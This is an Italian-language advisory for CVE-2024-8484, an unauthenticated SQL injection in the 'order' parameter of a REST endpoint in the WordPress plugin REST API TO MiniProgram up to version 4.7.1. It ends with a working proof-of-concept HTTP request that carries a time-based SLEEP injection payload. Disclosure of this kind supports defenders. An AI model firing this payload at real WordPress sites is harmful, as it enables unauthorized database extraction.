
REST API TO MiniProgram <= 4.7.1 - Iniezione SQL non autenticata
REST API TO MiniProgram <= 4.7.1 - SQL Injection non autenticata
CVE: CVE-2024-8484
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 7.5
Slugs: rest-api-to-miniprogram
Il plugin REST API TO MiniProgram per WordPress è vulnerabile a SQL Injection tramite il parametro 'order' dell'endpoint dell'API REST /wp-json/watch-life-net/v1/comment/getcomments in tutte le versioni fino alla 4.7.1 inclusa, a causa di una insufficiente escape del parametro fornito dall'utente e della mancanza di una preparazione adeguata sulla query SQL esistente. Ciò consente a utenti non autenticati di aggiungere query SQL aggiuntive alle query esistenti, che possono essere utilizzate per estrarre informazioni sensibili dal database.
GET /wp-json/watch-life-net/v1/comment/getcomments?order=DESC,(SELECT(1)FROM(SELECT(SLEEP(10)))a)--&postid=3&limit=1&page=1&page=1 HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/post-new.php?post_type=page
Connection: keep-alive
If-Modified-Since: Mon, 16 Sep 2024 18:56:28 GMT
If-None-Match: "5a3-62241215fdfaa-gzip"
Priority: u=2
